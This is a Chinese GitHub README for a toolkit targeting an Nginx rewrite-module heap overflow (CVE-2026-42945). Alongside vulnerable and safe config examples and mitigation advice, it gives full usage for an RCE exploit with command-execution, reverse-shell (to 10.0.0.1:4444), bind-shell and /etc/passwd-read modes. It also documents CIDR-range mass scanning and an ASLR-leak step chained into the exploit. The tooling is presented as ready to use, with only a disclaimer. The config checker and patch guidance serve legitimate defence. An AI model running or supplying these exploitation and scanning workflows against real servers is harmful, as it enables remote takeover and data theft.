LiaoZiqi-GZFLS/CVE-2026-42945
GitHub: LiaoZiqi-GZFLS/CVE-2026-42945
针对 Nginx CVE-2026-42945 堆溢出漏洞的多功能概念验证与利用工具包,涵盖漏洞扫描、批量检测、配置审计及高级利用。
Stars: 0 | Forks: 0
# CVE-2026-42945 Nginx Rift - PoC 工具包
这是一个针对 **CVE-2026-42945** (Nginx Rift) 的综合概念验证工具包,该漏洞是 Nginx 的 `ngx_http_rewrite_module` 中存在的一个严重的堆缓冲区溢出漏洞。
## 漏洞概述
| 字段 | 详情 |
| ------------------- | --------------------------- |
| **CVE ID** | CVE-2026-42945 |
| **名称** | Nginx Rift |
| **类型** | 堆缓冲区溢出 |
| **组件** | `ngx_http_rewrite_module` |
| **严重程度** | 严重 (CVSS 9.2) |
| **受影响版本** | Nginx 0.6.27 - 1.30.0 |
| **已修复版本** | Nginx 1.30.1 / 1.31.0 |
### 根本原因
该漏洞的存在是因为在处理 rewrite 规则时,两次内部处理过程之间的空间大小计算存在错误。如果配置使用了:
- **未命名的正则捕获** (`$1`, `$2` 等)
- **结合包含 `?` 的替换字符串**
Nginx 在第一次处理时会错误计算所需的缓冲区大小,并在第二次处理时写入超出已分配堆缓冲区的范围。
### 易受攻击的配置示例
```
server {
# VULNERABLE: Unnamed capture ($1) + '?' in replacement
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
```
### 安全配置(已修复)
```
server {
# SAFE: Named capture (?P) replaces $1
location /api/ {
rewrite ^/api/(?P.*)$ /v1/$path?version=2 last;
}
}
```
## 工具包组件
### 1. `nginx_rift_poc.py` - 核心 PoC 工具
单目标漏洞扫描和利用工具。
**功能:**
- 从 `Server` 头检测 Nginx 版本
- 检查版本是否在易受攻击的范围内
- 发送特制的 HTTP payload 以触发堆溢出
- 生成易受攻击/安全的测试配置
**用法:**
```
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com
# 使用自定义 payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# 生成存在漏洞的测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# 生成安全(已修复)的配置
python nginx_rift_poc.py --gen-safe-config > safe.conf
```
### 2. `nginx_rift_scanner.py` - 批量扫描器
用于并发测试多个目标的批量扫描器。
**功能:**
- 多线程扫描(默认 50 个线程)
- 从文件或 CIDR 网络范围获取目标列表
- 输出 JSON 格式以便于集成
- 针对 443 端口自动进行 SSL 检测
**用法:**
```
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json
# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# 扫描网络范围
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# 高速扫描
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
```
**目标文件格式:**
```
# 注释以 # 开始
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
```
### 3. `config_checker.py` - 配置分析器
扫描本地 Nginx 配置文件中易受攻击的 rewrite 模式。
**功能:**
- 解析 `nginx.conf` 并遵循 `include` 指令
- 检测替换字符串中带有 `?` 的未命名捕获
- 支持自动修复(带有备份)
- 递归目录扫描
**用法:**
```
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf
# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/
# 自动修复存在漏洞的 patterns(创建 .bak 备份)
python config_checker.py --fix /etc/nginx/nginx.conf
# 自动检测常见的 Nginx 路径
python config_checker.py
```
### 4. `enhanced_poc.py` - 增强 RCE PoC
基于 depthfirst 的官方研究的高级漏洞利用工具,支持多种 rewrite 模式和利用模式。
**功能:**
- 自动检测 8 种常见的易受攻击 rewrite 模式(`/api/`, `/redirect/`, `/user/` 等)
- 支持多种溢出触发字符(`+`, `&`, `=`, `%`)
- 智能生成 payload,可控制溢出大小
- 多种利用模式:`cmd` / `shell` / `bind` / `read`
- 支持为关闭 ASLR 的环境自定义堆/libc 基地址
- 动态构造 spray body 并带有伪造的 `ngx_pool_cleanup_s`
**用法:**
```
# 自动检测 patterns 和版本
python enhanced_poc.py -t target.example.com --detect
# 执行命令(关闭 ASLR)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd
# 自定义 heap base(适用于关闭 ASLR 的目标)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# 使用 & 作为溢出触发器
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
```
**利用模式详情:**
| 模式 | 描述 | 输出 |
| --------- | ---------------------------- | -------------------------------------------- |
| `cmd` | 执行单条 shell 命令 | 目标上的命令输出 |
| `shell` | 生成反弹 shell | 连回 `--listen-ip:listen-port` |
| `bind` | 在目标上生成 bind shell | 在目标上的 `--listen-port` 监听 |
| `read` | 从目标读取文件 | 内容写入 `/tmp/nginx_rift_read` |
**地址配置(仅限关闭 ASLR 的环境):**
- `--heap-base`: 目标堆基地址 (例如, `0x555555559000`)
- `--libc-base`: libc 基地址 (例如, `0x7ffff77ba000`)
- `--system-addr`: 直接 `system()` 地址 (覆盖 libc-base)
### 5. `aslr_leak_detector.py` - ASLR 泄漏检测器
用于检测可绕过 ASLR 保护的信息泄漏的综合扫描器。
**功能:**
- HTTP 头泄漏检测 (Server, X-Powered-By 等)
- 针对内存地址和堆栈跟踪的错误页面分析
- Nginx 特定端点探测 (`/nginx_status`, `/actuator/*` 等)
- 内存地址泄漏检测 (64 位指针,堆/libc/栈地址)
- 通过时间分析探测堆布局
- ASLR 状态推断 (已启用/已禁用/弱)
- 通过 JSON 报告直接与 `enhanced_poc.py` 集成
**用法:**
```
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com
# 使用 SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# 从文件扫描,保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# 扫描网络范围
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# 快速扫描模式
python aslr_leak_detector.py -t target.example.com --quick
```
**与增强版 PoC 的集成:**
```
# 第 1 步:检测泄漏
python aslr_leak_detector.py -t target.example.com -o leak.json
# 第 2 步:使用泄漏的地址进行 exploit
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
```
## 漏洞检测指标
PoC 工具通过以下指标来识别漏洞:
| 指标 | 描述 |
| ------------------ | ------------------------------------------------------ |
| 连接断开 | 目标意外关闭连接 (worker 崩溃) |
| 网关错误 | HTTP 502/503/504 响应 (worker 进程死亡) |
| 响应缓慢 | 响应时间显著增加 (崩溃恢复) |
| 空响应 | 与基线相比,响应主体消失 |
| 版本匹配 | 检测到的 Nginx 版本处于易受攻击的范围内 |
## 安装
无需外部依赖。仅使用 Python 标准库。
```
# Clone 或下载该 toolkit
git clone
cd CVE-2026-42945
# 验证 Python 版本(推荐 3.7+)
python3 --version
# 运行任何工具
python3 nginx_rift_poc.py --help
```
## 受影响版本
| 产品 | 受影响 | 已修复 |
| ------------------------ | ---------------------- | ------------------------- |
| Nginx 开源版 | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | 所有低于补丁的版本 | 更新至已修复版本 |
| Nginx Gateway Fabric | 所有低于补丁的版本 | 更新至已修复版本 |
## 缓解措施
### 立即处理
1. **将 Nginx 补丁** 至版本 1.30.1 (稳定版) 或 1.31.0 (主线版)
2. **审计配置** 以查找易受攻击的 rewrite 模式
3. 在所有运行 Nginx worker 进程的主机上**启用 ASLR**
### 配置变通方案
如果不能立即打补丁,请将未命名捕获替换为命名捕获:
```
# 修改前(存在漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# 修改后(安全)
rewrite ^/api/(?P.*)$ /v1/$path?version=2 last;
```
### WAF 虚拟补丁
部署 WAF 规则以拦截针对易受攻击 rewrite 模式的格式错误请求。
## 免责声明
**本工具包仅供授权的安全测试和研究目的使用。**
- 仅对您拥有或已获得明确测试许可的系统使用
- 未经授权访问计算机系统是非法的
- 作者不对滥用本工具或由此造成的损害负责
- 在用于生产环境之前,请始终在隔离的环境中进行测试
## 相关 CVE
该缺陷是与另外三个内存损坏问题一起被发现的:
| CVE | 描述 | 严重程度 |
| -------------- | ----------------------------------------- | -------- |
| CVE-2026-42946 | SCGI/UWSGI 内存分配缺陷 | 高 |
| CVE-2026-40701 | OCSP DNS 解析中的 Use-after-free | 中 |
| CVE-2026-42934 | UTF-8 解析越界读取 | 中 |
## 参考
- [F5 安全公告](https://www.f5.com/security/advisories)
- [Nginx 安全](https://nginx.org/en/security_advisories.html)
- [CVE-2026-42945 详情](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945)
## 许可证
本项目仅供教育和授权的安全测试目的提供。
**作者:** Security Research Team
**日期:** 2026-06-11
# 中文说明 (Chinese Documentation)
## 漏洞概述
**CVE-2026-42945**(Nginx Rift)是 Nginx `ngx_http_rewrite_module` 模块中的一个**堆缓冲区溢出**漏洞,自 2008 年(Nginx 0.6.27)就已存在,潜伏了约 18 年。
| 字段 | 详情 |
| ------------------ | ------------------------------------ |
| **CVE 编号** | CVE-2026-42945 |
| **漏洞名称** | Nginx Rift |
| **漏洞类型** | 堆缓冲区溢出(Heap Buffer Overflow) |
| **影响组件** | `ngx_http_rewrite_module` |
| **危害等级** | 严重(CVSS 9.2) |
| **影响版本** | Nginx 0.6.27 - 1.30.0 |
| **修复版本** | Nginx 1.30.1 / 1.31.0 |
### 漏洞原理
在处理 rewrite 规则时,Nginx 内部会进行两次解析。如果配置中同时满足以下两个条件:
1. 使用**未命名正则捕获**(如 `$1`、`$2`)
2. 替换字符串中包含 **`?`** 字符
Nginx 在第一遍解析时会错误计算缓冲区大小,在第二遍解析时写入超出堆缓冲区边界的数据,导致堆溢出。
### 脆弱配置示例(有漏洞)
```
server {
# 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
```
### 安全配置示例(已修复)
```
server {
# 安全:使用命名捕获 (?P) 替代 $1
location /api/ {
rewrite ^/api/(?P.*)$ /v1/$path?version=2 last;
}
}
```
## 工具组件说明
### 1. `nginx_rift_poc.py` — 核心 PoC 工具
单目标漏洞检测与利用工具。
**功能:**
- 从 `Server` 响应头检测 Nginx 版本
- 判断版本是否在脆弱范围内
- 发送精心构造的 HTTP 请求触发堆溢出
- 生成用于测试的脆弱/安全配置
**使用示例:**
```
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com
# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf
```
### 2. `nginx_rift_scanner.py` — 批量扫描器
多线程并发扫描多个目标。
**功能:**
- 默认 50 线程并发扫描
- 支持从文件或 CIDR 网段读取目标
- JSON 格式输出结果
- 自动识别 443 端口的 SSL 连接
**使用示例:**
```
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json
# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
```
**目标文件格式:**
```
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
```
### 3. `config_checker.py` — 配置文件检查器
扫描本地 Nginx 配置文件中的脆弱 rewrite 模式。
**功能:**
- 解析 `nginx.conf` 并递归解析 `include` 引用的文件
- 检测包含未命名捕获 + `?` 的 rewrite 指令
- 支持自动修复(自动创建 .bak 备份)
- 递归扫描目录
**使用示例:**
```
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf
# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/
# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf
# 自动探测常见 Nginx 配置路径
python config_checker.py
```
### 4. `enhanced_poc.py` — 增强版 RCE PoC
基于 depthfirst 官方研究的高级漏洞利用工具,支持多种 rewrite 模式和利用方式。
**功能:**
- 自动探测 8 种常见脆弱 rewrite 模式(`/api/`、`/redirect/`、`/user/` 等)
- 支持多种溢出触发字符(`+`、`&`、`=`、`%`)
- 智能 payload 生成,精确控制溢出大小
- 多种利用模式:`cmd` / `shell` / `bind` / `read`
- 自定义堆/libc 基址(用于 ASLR 关闭环境)
- 动态构造 spray body,包含 fake `ngx_pool_cleanup_s`
**溢出触发字符扩展表:**
| 字符 | 扩展为 | 每字符溢出 |
| ----- | ------- | ---------- |
| `+` | `%2B` | +2 字节 |
| `&` | `%26` | +2 字节 |
| `=` | `%3D` | +2 字节 |
| `%` | `%25` | +2 字节 |
| 空格 | `%20` | +2 字节 |
**使用示例:**
```
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect
# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd
# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
```
**利用模式说明:**
| 模式 | 说明 | 输出 |
| --------- | ------------------- | ---------------------------------- |
| `cmd` | 执行单条 shell 命令 | 命令输出保存在目标上 |
| `shell` | 生成反弹 shell | 连接回 `--listen-iplisten-port` |
| `bind` | 生成绑定 shell | 在目标 `--listen-port` 上监听 |
| `read` | 读取目标文件 | 内容写入 `/tmp/nginx_rift_read` |
**地址配置(仅 ASLR 关闭环境):**
- `--heap-base`: 目标堆基址(如 `0x555555559000`)
- `--libc-base`: libc 基址(如 `0x7ffff77ba000`)
- `--system-addr`: 直接指定 `system()` 地址
### 5. `aslr_leak_detector.py` — ASLR 信息泄露检测工具
综合扫描器,检测可用于绕过 ASLR 防护的信息泄露漏洞。
**功能:**
- HTTP 响应头泄露检测(Server、X-Powered-By 等)
- 错误页面分析(内存地址、堆栈跟踪)
- Nginx 特定端点探测(`/nginx_status`、`/actuator/*` 等)
- 内存地址泄露检测(64位指针、堆/libc/栈地址)
- 堆布局探测(通过响应时间差异推断内存状态)
- ASLR 状态推断(开启/关闭/弱)
- 通过 JSON 报告直接与 `enhanced_poc.py` 集成
**使用示例:**
```
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com
# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick
```
**与增强版 PoC 的联动使用:**
```
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json
# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
```
## 漏洞检测指标
PoC 工具通过以下现象判断目标是否存在漏洞:
| 检测指标 | 说明 |
| -------- | ---------------------------------------- |
| 连接断开 | 目标异常关闭连接(Worker 进程崩溃) |
| 网关错误 | 返回 HTTP 502/503/504(Worker 进程已死) |
| 响应变慢 | 响应时间显著增加(进程崩溃后自动重启) |
| 空响应体 | 与基线对比,响应体为空(Worker 已崩溃) |
| 版本匹配 | 检测到的 Nginx 版本在脆弱范围内 |
## 安装方法
无需安装任何第三方依赖,仅使用 Python 标准库即可运行。
```
# 克隆或下载工具包
git clone
cd CVE-2026-42945
# 验证 Python 版本(推荐 3.7+)
python3 --version
# 查看工具帮助
python3 nginx_rift_poc.py --help
```
## 影响版本
| 产品 | 受影响版本 | 修复版本 |
| ------------------------ | ------------------ | ---------------- |
| Nginx 开源版 | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | 未打补丁的所有版本 | 更新到已修复版本 |
| Nginx Gateway Fabric | 未打补丁的所有版本 | 更新到已修复版本 |
## 缓解措施
### 紧急处置建议
1. **立即升级 Nginx** 到 1.30.1(稳定版)或 1.31.0(主线版)
2. **审计配置文件** 中是否存在脆弱的 rewrite 模式
3. **开启 ASLR** 地址空间布局随机化,增加 RCE 利用难度
### 临时缓解方案(无法立即升级时)
将未命名捕获替换为命名捕获:
```
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# 修改后(安全)
rewrite ^/api/(?P.*)$ /v1/$path?version=2 last;
```
### WAF 虚拟补丁
部署 Web 应用防火墙规则,拦截针对脆弱 rewrite 模式的恶意请求。
## 免责声明
**本工具包仅供授权的安全测试和研究用途。**
- 仅对您拥有所有权或已获得明确授权的系统使用本工具
- 未经授权访问计算机系统是违法行为
- 作者不对本工具的滥用或造成的损害承担责任
- 请始终在隔离环境中测试后再用于生产环境
## 相关漏洞
此漏洞是由 depthfirst 的 AI 驱动静态分析系统发现的一系列内存损坏问题之一:
| CVE 编号 | 描述 | 等级 |
| -------------- | ----------------------- | ---- |
| CVE-2026-42946 | SCGI/UWSGI 内存分配缺陷 | 高危 |
| CVE-2026-40701 | OCSP DNS 解析 UAF | 中危 |
| CVE-2026-42934 | UTF-8 解析越界读取 | 中危 |
## 参考链接
- [F5 安全公告](https://www.f5.com/security/advisories)
- [Nginx 安全公告](https://nginx.org/en/security_advisories.html)
- [CVE-2026-42945 详情](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945)
- [SonicWall 技术分析](https://www.sonicwall.com/blog/nginx-rift-rewrite-module-remote-code-execution)
- [Cloud Security Alliance 研究报告](https://labs.cloudsecurityalliance.org/research/csa-research-note-nginx-rift-cve-2026-42945-unauthenticated/)
## 开源协议
本项目仅供教育用途和授权安全测试使用。
**作者:** Security Research Team
**日期:** 2026-06-11
标签:CISA项目, Nginx, PoC, Python, 无后门, 暴力破解, 逆向工具